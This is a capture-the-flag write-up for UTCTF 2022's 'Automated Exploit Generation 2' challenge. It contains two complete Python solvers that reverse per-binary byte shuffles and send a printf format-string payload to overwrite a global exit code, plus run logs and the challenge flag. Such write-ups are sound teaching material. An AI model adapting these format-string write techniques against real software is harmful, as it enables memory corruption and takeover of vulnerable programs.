Tags: format-string pwn 

Rating:

# UTCTF 2022

## Automated Exploit Generation 2

> Now with printf!
>
> By Tristan (@trab on discord)
>
> `nc pwn.utctf.live 5002`

Tags: _pwn_ _x86-64_ _format-string_

## Summary

Annoying challenge, where the challenge is to analyze a series of pseudo-random binaries in realtime; then solve with a trivial format string exploit.

Challenge start:

```
You will be given 10 randomly generated binaries.
You have 60 seconds to solve each one.
Solve the binary by making it exit with the given exit code
Press enter when you're ready for the first binary.
```

After pressing _enter_, you get this dump:

```
00000000: 7f45 4c46 0201 0100 0000 0000 0000 0000 .ELF............
00000010: 0200 3e00 0100 0000 b010 4000 0000 0000 ..>.......@.....
00000020: 4000 0000 0000 0000 503b 0000 0000 0000 @.......P;......
...
...
000042e0: 0000 0000 0000 0000 2c3a 0000 0000 0000 ........,:......
000042f0: 1f01 0000 0000 0000 0000 0000 0000 0000 ................
00004300: 0100 0000 0000 0000 0000 0000 0000 0000 ................

Binary should exit with code 74
You have 60 seconds to provide input:
```

You'll need to undump a few of these binaries, analyze them, find the patterns, then automate with code to solve them.

If you provide the correct input, so that the binary exit is a match, then you'll get the next binary. After 10 of these you get the flag.

## Analysis

### Checksec

```
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
```

Each binary will be the same. All we care about is _No PIE_ so we can change the `exit_code`.

### Ghidra Decompile

```c
fgets((char *)&local_218,0x202,stdin);
permute(&local_218);
printf((char *)&local_218);
exit(exit_code);
```

The only lines from `main` that matter are above; get some bytes, shuffle them, then call `printf` without a format string. The objective is to craft a shuffled string that the binary can unshuffle resulting in a proper format string.

The format string is very basic:

```
fmtstr_payload(offset,{binary.sym.exit_code:ec})
```

Just change the `exit_code` (global variable with no PIE) to the exit code requested for that challenge binary.

`permute` calls eight shuffled permute functions, each that do additional shuffling:

```c
void permute(undefined8 param_1)
{
permute1(param_1);
permute5(param_1);
permute7(param_1);
permute6(param_1);
permute2(param_1);
permute4(param_1);
permute8(param_1);
permute3(param_1);
return;
}
```

The order changes for each binary. Our code will need to do this in reverse.

The 3 of 8 permute functions (1, 2, 5) are static and their own inverses, the rest have hardcoded values that need to be extracted to reverse the behavior (actually, the functions need to reverse our input, we're encoding, the binary decodes), e.g. `permute3`:

```c
void permute3(long param_1)
{
long in_FS_OFFSET;
int local_224;
int local_220;
int local_21c;
undefined auStack536 [520];
long local_10;

local_10 = *(long *)(in_FS_OFFSET + 0x28);
for (local_224 = 0; local_224 < 0x172; local_224 = local_224 + 1) {
auStack536[local_224] = *(undefined *)(param_1 + (long)local_224 + 0x8e);
}
for (local_220 = 0x172; local_220 < 0x200; local_220 = local_220 + 1) {
auStack536[local_220] = *(undefined *)(param_1 + (long)(local_220 + -0x200) + 0x8e);
}
for (local_21c = 0; local_21c < 0x200; local_21c = local_21c + 1) {
*(undefined *)(local_21c + param_1) = auStack536[local_21c];
}
if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
__stack_chk_fail();
}
return;
}
```

That `0x172` is a value that changes with each binary.

## Exploit

```python
#!/usr/bin/env python3

from pwn import *

def getbinary(r):
f = open('aeg2','wb')

while True:
_ = r.recvline()
if b'0: ' in _:
for i in _.split()[1:9]: f.write(int(i,16).to_bytes(2,'big'))
if b'Binary' in _:
ec = int(_.decode().strip().split()[-1],10)
break

f.close()
return ec
```

`getbinary` does exactly that, undumps the dump into a binary.

```python
def p1(s,k): return s[::-1]

def p2(s,k): return s[0x100:] + s[:0x100]

def p3(s,k): return s[k:] + s[:k]

def p4(s,k): return s[k:] + s[:k]

def p5(s,k):
for i in range(0,len(s),2): s[i], s[i+1] = s[i+1], s[i]
return s

def p6(s,k):
for i in range(0,len(s),k): s[i:i+k] = [s[i+k-1]] + s[i:i+k-1]
return s

def p7(s,k):
for i in range(0,len(s),k): s[i:i+k] = s[i+1:i+k] + [s[i]]
return s

def p8(s,k):
for i in range(0,len(s),k): s[i:i+k] = s[i:i+k][::-1]
return s
```

Above are the eight inverse functions, e.g. if a string is shuffled with `p3`, then the binary `permute3` will unshuffle it.

All binary permute functions assume a string length of `0x200`.

`p` functions:

1. Reverse entire string.
2. Roll string left `0x100` places.
3. Roll string left `k` places.
4. Roll string left `k` places.
5. Byte swap.
6. Roll 1 right for each slice of size `k`.
7. Roll 1 left for each slice of size `k`.
8. Reverse for each slice of size `k`.

```python
def h1(p,binary):
a = eval('binary.sym.permute' + str(p))
b = eval('binary.sym.permute') if p == 8 else eval('binary.sym.permute' + str(p+1))
f = binary.disasm(a,b-a).find('add DWORD PTR [rbp-0x21c], 0x')
if f == -1: f = binary.disasm(a,b-a).find('sub DWORD PTR [rbp-0x21c], 0x')
r = int(binary.disasm(a,b-a)[f:].split('\n')[0].split(', ')[1],16)
if r == 0xffffff80: r = 0x80
return r

def h2(p,binary):
a = eval('binary.sym.permute' + str(p))
b = eval('binary.sym.permute' + str(p+1))
f = binary.disasm(a,b-a).find('mov DWORD PTR [rbp-0x218], 0x')
r = int(binary.disasm(a,b-a)[f:].split('\n')[0].split(', ')[1],16)
return r
```

These hack jobs decompile the permute functions and search for the `k` values. `h1` is used for permute 6, 7, and 8, while `h2` is used for 3 and 4.

Because of how the compiler generates the assembly, `h1` was a bit tricker when `k` was `0x80`.

> I could not think of a better way to do this. I'm sure there are tools in Python to make this type of analysis easier, but it didn't take long to code up the above.

```python
r = remote('pwn.utctf.live', 5002)
r.sendline()

for z in range(10):
ec = getbinary(r)
log.info(f'ec: {ec}')

binary = context.binary = ELF('./aeg2',checksec=False)
offset = 8

payload = b''
payload += fmtstr_payload(offset,{binary.sym.exit_code:ec})
payload += (0x200 - len(payload)) * b'\0'

s = [*payload]
for i in [ x for x in binary.disasm(binary.sym.permute,binary.sym.main-binary.sym.permute).split('\n') if 'call' in x][::-1]:
j = int(i.split()[-1],16)
p = int(list(binary.sym.keys())[list(binary.sym.values()).index(j)][-1])
k = 0
if p > 5 and p < 9: k = h1(p,binary)
if p == 3 or p == 4: k = h2(p,binary)
s = globals()['p' + str(p)](s,k)

r.sendlineafter(b'input: \n',bytes(s))
os.rename('./aeg2','./aeg2.' + str(z))

r.recvuntil(b'utflag{')
flag = 'utflag{' + r.recvuntil(b'}').strip().decode()
r.close()
print(flag)
```

The main loop:

1. Downloads and undumps the binary.
2. Creates and pads the payload.
3. Then calls the `p` functions in the reverse order from the binary with the `k` values.

After 10 runs (8 seconds) you get the flag:

```bash
# ./exploit.py
[+] Opening connection to pwn.utctf.live on port 5002: Done
[*] ec: 176
[*] ec: 104
[*] ec: 28
[*] ec: 119
[*] ec: 103
[*] ec: 93
[*] ec: 72
[*] ec: 41
[*] ec: 187
[*] ec: 81
[*] Closed connection to pwn.utctf.live port 5002
utflag{you_mix_me_right_round_baby_right_round135799835}
```

### Blackbox Solve

Don't bother understanding anything, just measure the behavior of each binary and use that.

```python
#!/usr/bin/env python3

from pwn import *

def getbinary(r):
f = open('./aeg2','wb')

while True:
_ = r.recvline()
if b'0: ' in _:
for i in _.split()[1:9]: f.write(int(i,16).to_bytes(2,'big'))
if b'Binary' in _:
ec = int(_.decode().strip().split()[-1],10)
break

f.close()
os.chmod('./aeg2', 0o0755)
return ec

r = remote('pwn.utctf.live', 5002)
r.sendline()

for z in range(10):
ec = getbinary(r)
log.info(f'ec: {ec}')

binary = context.binary = ELF('./aeg2',checksec=False)

m = 512 * [0]
for i in range(4):
s = (i * 128) * [ord(b'A')] + list(range(128,256)) + ((3 - i) * 128) * [ord(b'A')]
context.log_level = 'WARN'
p = process(binary.path)
p.sendline(bytes(s))
_ = [*p.recvline().strip()]
p.close()
context.log_level = 'INFO'
for j in range(128,256): m[i * 128 + (j - 128)] = _.index(j)

offset = 8
payload = b''
payload += fmtstr_payload(offset,{binary.sym.exit_code:ec})
payload += (0x200 - len(payload)) * b'\0'

s = 512 * [0]
for i in range(0x200): s[m.index(i)] = payload[i]

r.sendlineafter(b'input: \n',bytes(s))
os.rename('./aeg2','./aeg2.' + str(z))

r.recvuntil(b'utflag{')
flag = 'utflag{' + r.recvuntil(b'}').strip().decode()
r.close()
print(flag)
```

Alternative solution that just calls the binary four times to workout the mapping.

> The previous solution does not require calling the binary at all.

```bash
# ./exploit2.py
[+] Opening connection to pwn.utctf.live on port 5002: Done
[*] ec: 14
[*] ec: 107
[*] ec: 89
[*] ec: 242
[*] ec: 154
[*] ec: 202
[*] ec: 254
[*] ec: 122
[*] ec: 9
[*] ec: 118
[*] Closed connection to pwn.utctf.live port 5002
utflag{you_mix_me_right_round_baby_right_round135799835}
```

Original writeup (https://github.com/datajerk/ctf-write-ups/tree/master/utctf2022/automated_exploit_generation_2).